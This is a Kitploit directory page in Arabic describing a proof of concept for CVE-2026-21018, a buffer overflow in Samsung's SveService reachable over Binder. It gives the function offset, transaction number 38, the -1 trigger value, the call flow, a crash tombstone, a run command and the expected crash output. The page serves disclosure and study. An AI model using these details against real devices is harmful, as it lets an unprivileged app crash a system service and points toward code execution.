Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-21018 — PoC بسيط لثغرة تجاوز سعة المخزن المؤقت في خدمة SveService من Samsung، يوضح كتابة خارج الحدود عبر Binder لإسقاط خدمة نظام Android بدون أذونات خاصة. | Kitploit
أدوات/GitHubGitHub/pealeap/cve-2026-21018
أمان أندرويدتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةأمن الجوالاستغلال الملفات الثنائية
GitHubpealeap/cve-2026-21018

CVE-2026-21018

PoC بسيط لثغرة تجاوز سعة المخزن المؤقت في خدمة SveService من Samsung، يوضح كتابة خارج الحدود عبر Binder لإسقاط خدمة نظام Android بدون أذونات خاصة.

عرض المستودع
1منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تجاوز سعة المخزن المؤقت في SveService

Português English


Samsung SMR May 2026

SVE-2026-0478(CVE-2026-21018)

الإصدارات المتأثرة: Android 14 و15 و16

حالة الإفصاح: إفصاح خاص

تسمح الكتابة خارج الحدود في SveService قبل SMR May-2026 Release 1 للمهاجمين المحليين ذوي الصلاحيات بتنفيذ كود عشوائي.

يضيف التصحيح تحققًا سليمًا من المدخلات.


تحذير: هذا إثبات المفهوم (PoC) لأغراض تعليمية فقط، ولست مسؤولًا عن أي شيء تفعله خارج نطاق الدراسة. لقد تم تحذيرك.

تم اختبار هذا على Galaxy A17 LTE (SM-A175F)


الإنجليزية

الملخص

ثغرة تجاوز سعة المخزن المؤقت في خدمة النظام SveService (com.sec.sve) على أجهزة Samsung التي تعمل بنظام Android 16. تعمل الخدمة بصلاحيات system (UID 1000) ويمكن الوصول إليها دون أي صلاحية خاصة عبر Binder.

المكونات

المكوّنالدورالإصدار
sveservice.apkخدمة AndroidAPI 36
libsvejni.soمكتبة ARM64 أصليةمعرّف البناء: 0a71afa45f8688b4314ed8e5a0aea8b9

الثغرة

في الدالة sveJNISVE_SetCodecInfo (libsvejni.so:0x21710)، تُمرَّر المعاملات i18 وi19 وi20 (المستلمة من AIDL كـ i106/i107/i108، TRANSACTION_sveSetCodecInfo = 38) مباشرةً إلى memset وsub sp, sp, xN (alloca) وmemcpy دون أي تحقق من الحجم.

تتحقق الدوال المماثلة (GetVersion وEnableSRTP وSetSRTPParams وSetGcmSrtpParams) باستخدام cmp w20, #0x1e; b.gt (رفض القيم الأكبر من 30 بايت). أما SetCodecInfo فلا تتحقق إطلاقًا.

تدفق الاستدعاء

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

القيم مع -1 (0xFFFFFFFF)

أدلة الانهيار (Tombstone 07)

root@kitploit:~
Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer

إثبات المفهوم (PoC)

root@kitploit:~
cd poc
./build_and_run.sh

المخرجات المتوقعة:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

ملاحظات

  • لا يتطلب صلاحيات root: يعمل ServiceManager.getService() عبر app_process بصلاحية shell UID.
  • تجاوز الأذونات: صلاحية signatureOrSystem غير مفعّلة — تُسجَّل الخدمة مباشرةً عبر ServiceManager.addService()، متجاوزةً آلية الأذونات في Android.
  • الانهيار حتمي: memset بالقيمة 0xFFFFFFFF يسبب انهيارًا دائمًا. يتطلب استغلال RCE تسريب عنوان + ROP (PAC غير موجود على SM-A175F).

العربية

الملخص

ثغرة تجاوز سعة المخزن المؤقت في خدمة النظام SveService (com.sec.sve) على أجهزة Samsung التي تعمل بنظام Android 16. تعمل الخدمة بصلاحيات system (UID 1000) ويمكن الوصول إليها دون أي صلاحية خاصة عبر Binder.

المكونات

المكوّنالدورالإصدار
sveservice.apkخدمة AndroidAPI 36
libsvejni.soمكتبة ARM64 أصليةمعرّف البناء: 0a71afa45f8688b4314ed8e5a0aea8b9

الثغرة

في الدالة sveJNISVE_SetCodecInfo (libsvejni.so:0x21710)، تُستخدم المعاملات i18 وi19 وi20 (المستلمة من AIDL كـ i106/i107/i108، TRANSACTION_sveSetCodecInfo = 38) مباشرةً كوسائط لـ memset وsub sp, sp, xN (alloca) وmemcpy دون أي تحقق من الحجم.

تتحقق الدوال المماثلة الأخرى (GetVersion وEnableSRTP وSetSRTPParams وSetGcmSrtpParams) باستخدام cmp w20, #0x1e; b.gt (ترفض القيم > 30 بايت). أما SetCodecInfo فلا تتحقق من أي شيء.

تدفق الاستدعاء

root@kitploit:~
App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

القيم مع -1 (0xFFFFFFFF)

إثبات المفهوم (PoC)

root@kitploit:~
cd poc
./build_and_run.sh

المخرجات المتوقعة:

root@kitploit:~
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

ملاحظات

  • بدون صلاحيات root: يعمل ServiceManager.getService() عبر app_process بصلاحية UID الخاصة بـ shell.
  • الأذونات: صلاحية signatureOrSystem غير مطبّقة — تُسجَّل الخدمة مباشرةً عبر ServiceManager.addService()، متجاوزةً فحص الأذونات.
  • الانهيار حتمي: memset بالقيمة 0xFFFFFFFF ينهار دائمًا. يتطلب استغلال RCE تسريب عنوان + ROP (PAC غير موجود على SM-A175F).
تنزيل الأداة
العمليةالقيمةالتأثير
(i18 + 15) & ~150تخصيص 0 بايت
memset(buf, 0, i18)0x00000000FFFFFFFFيحاول تصفير 4 جيجابايت → SIGSEGV
sxtw(i18) لـ memcpy0xFFFFFFFFFFFFFFFFتمديد إشارة -1 → ~18 إكسابايت
العمليةالقيمةالتأثير
(i18 + 15) & ~150تخصيص 0 بايت
memset(buf, 0, i18)0x00000000FFFFFFFFيحاول تصفير 4 جيجابايت → SIGSEGV
sxtw(i18) لـ memcpy0xFFFFFFFFFFFFFFFFتمديد إشارة -1 → ~18 إكسابايت